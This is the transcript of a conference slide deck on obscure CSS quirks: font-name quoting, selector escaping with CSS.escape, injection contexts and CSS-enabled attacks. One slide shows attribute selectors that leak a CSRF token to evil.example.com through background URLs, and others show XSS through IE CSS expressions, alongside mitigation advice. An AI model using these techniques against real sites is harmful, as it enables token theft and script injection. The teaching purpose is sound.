Upgrade to PRO for Only $50/Year—Limited-Time Offer! 🔥

3.14 things I didn’t know about CSS @ CSS Day 2014

3.14 things I didn’t know about CSS @ CSS Day 2014

This talk showcases a series of obscure CSS fun facts, such as CSS syntax gimmicks and quirks, weird tricks that involve CSS in one way or another, and security vulnerabilities that are enabled by (ab)using CSS in unexpected ways.

Video: http://vimeo.com/channels/cssday/100264064
Links: http://lanyrd.com/2014/cssday/scypwp/

Mathias Bynens

June 04, 2014
Tweet

More Decks by Mathias Bynens

Other Decks in Technology

Transcript

  1. .foo .bar { color: red; } .bar.bar.bar.bar.bar.bar.bar.bar { color: green;

    } New !important best practice ✔ * not really *
  2. Font family names in CSS html {
 font-family: 'Comic Sans

    MS';
 } “If there’s whitespace in the font family name, it must be quoted.”
  3. Font family names in CSS html {
 font-family: Comic Sans

    MS;
 } “If there’s whitespace in the font family name, it must be quoted.” http://mths.be/bft
  4. CSS without HTML $ curl -i http://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK

    Date: Wed, 04 Jun 2014 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 http://mths.be/bpe
  5. CSS without HTML $ curl -i http://mathiasbynens.be/demo/css-without-html HTTP/1.1 200 OK

    Date: Wed, 04 Jun 2014 13:33:37 GMT Link: <css-without-html.css>;rel=stylesheet Content-Length: 0 Content-Type: text/html; charset=UTF-8 http://mths.be/bpe
  6. U̓ͬ̿͐̚ ͛̐ͩ̈́̀ͮ ̨͢ ̴ ̫̩͈̲̬̭̙͇͙ ̩̮̣ n ̅̒̽͊ͧ͆ͯͨ̍͊ ͜ ̡

    ͜ ̧ ͖ ̲ ̣ ̬ ̳ ͅ ̘͖ ͅ ̗ i͆̿̉̄͒ͭ̉ͥͣ͑ ͏̶̨̛͔̲͈̪̹͎͓͖̙̖̖̯̯̫̙̫̙̦̜̀ç ̯̖̖̬̻̻͉ ̎ͪ̄̀͋̄͐̐̾ͮ̈ͫ̊͗̊́̚ ö́̃̈̾͊ͮ̓ͩͤ̊ͭ̒̅͋͒ͫ̿ ̢ ̕ ̢ ͕ 㸅 ̩͔͙ ̼ͅ 㸅 ̫̩̟̘̹ d͋ͧ͌ͤ ͜ ͘ ͞ ̻̹̪͓̥ e̎ͪ̓̄̓̾ ͢ ̛ ҉ ͍̮͔͍̮͍̳̬ ̊ ̅ͣ̽ͫ̚ ̃ͦͭ ̋͑ ̋ͬͣͬ ̑̒ ̊ ̷ ̩͉͎ ̥͙̹ i ̒͗ͤ̔̈́͑ͫͥ̂͐ͦ͊ͥ̉ ̧ ̛ ̥͓̞͎͉̩̩̪̜̝̮͈͚͚ ͍ n̴̊͊ͧ̌ ͜ ͕͍̩̥̩̪̞̜͓̜ ́ͤͮ̆͒ ҉ ̶ ̧̦ ̖̠̹̗̞̯̳ 㸅 C̎̒̓̊̂̑̐ͥ̂͌ ͛ ̀ ͞ ͡ ̸ ͠ ̦ ̭̲̘͈̥̪̹̟̤͎͉̹̤̳̦ S ͂ ̑ ̑͊ ̓ ̔͑ ͂ͧ͐ ͂ ̆ ̂͗ ̈͞ ̢ ̛ ̡͢ ̲ ̰ ̫̩ ̥ ͓ ̗͚̟͍̘̜̜ Ŝ̒̌̉ͭ̔ͣͣ̇͌̚ ̴ ̧͖̦ ̘̭͇̭̰̹̦
  7. Classes and IDs in HTML <p class="404-error">…</p> <small class="©">legalese</small> <p

    id="—">HTML 4 lyfe, homes!</p> <blockquote class="“”">LOL</blockquote> <p id=" ⌘⌥ ">…</p> <p class="⚠️">Warning: …</p> <p id="#">Outdated browser detected.</p> http://mths.be/afd
  8. Classes and IDs in HTML <p id="#id">Good luck styling me!</p>

    <p class=".class">heh</p> <p id="#id.class:hover{}">huh</p> <p id="[attr='value']">wat</p> http://mths.be/afd
  9. Escaping CSS selectors <p id="#id"> #\#id { } <p class=".class">

    .\.class { } <p id="#id.class:hover{}"> #\#id\.class\:hover\{\} { } #\#id\.class\3A hover\{\} { } <p class="[attr='value']"> .\[attr\=\'value\'\] { } <p id="404-error"> #\34 04-error { }
  10. Escaping CSS selectors <p id="#©"> #© { } #\A9 {

    } <p class="—"> .— { } .\2665 { } <p id="“”"> #“” { } #\201C \201D { } <p class="!"> .! { } .\1F4A9 { }
  11. Escaping CSS selectors var $el = $('#' + location.hash); //

    … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape
  12. Escaping CSS selectors var $el = $('#' + location.hash); //

    … var $a = $('a[href="' + someValue + '"]'); // … http://mths.be/cssescape ✘
  13. Escaping CSS selectors var $el = $('#' + CSS.escape(location.hash)); //

    … ! var $a = $('a[href="' + CSS.escape(someValue) + '"]'); // … http://mths.be/cssescape ✔
  14. XSS

  15. Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  16. Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  17. Injection contexts <style> p { color: <%= USER_COLOR %>; }

    </style> <p> Hello <%= USER_NAME %>! <a href="<%= USER_URL %>">View your account</a>. </p> <script> window.userID = <%= USER_ID %>; </script> <!-- Debug info: <%= DEBUG_INFO %> -->
  18. #csrf[value^="a"] { background: url(//evil.example.com/?v=a); } #csrf[value^="b"] { background: url(//evil.example.com/?v=b); }

    #csrf[value^="c"] { background: url(//evil.example.com/?v=c); } /* … */ Stealing data from the DOM http://mths.be/bsj
  19. <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 http://mths.be/brw
  20. <style> #myDiv { background: hotpink; position: absolute; left: expression( document.body.clientWidth

    / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 7 http://mths.be/brw
  21. * { width: expression( alert('XSS through CSS') ); } CSS

    Expressions in IE ≤ 7 http://mths.be/brw
  22. * { width: expression( alert('XSS through CSS') ); } CSS

    Expressions in IE ≤ 7 http://mths.be/brw
  23. * { width: expression( if (!window.done) alert('XSS through CSS'), window.done=1

    ); } CSS Expressions in IE ≤ 7 http://mths.be/brw
  24. <meta http-equiv="X-UA-Compatible" content="IE=7"> <style> #myDiv { background: hotpink; position: absolute;

    left: expression( document.body.clientWidth / 2 - myDiv.offsetWidth / 2); top: expression( document.body.clientHeight / 2 - myDiv.offsetHeight / 2); } </style> <div id="myDiv">Lorem ipsum</div> CSS Expressions in IE ≤ 10 http://mths.be/brx
  25. 1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY 
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? http://mths.be/bpu
  26. 1. sanitize user input before injecting it in a CSS

    context
 2. disallow framing using the HTTP header
 X-Frame-Options: DENY 
 3. use <!DOCTYPE html> How to avoid CSS expression vulnerabilities? http://mths.be/bpu
  27. Thanks to: ! Simon Pieters Tab Atkins Martin Kool Mario

    Heiderich Frederik Braun Mike West Divya Manian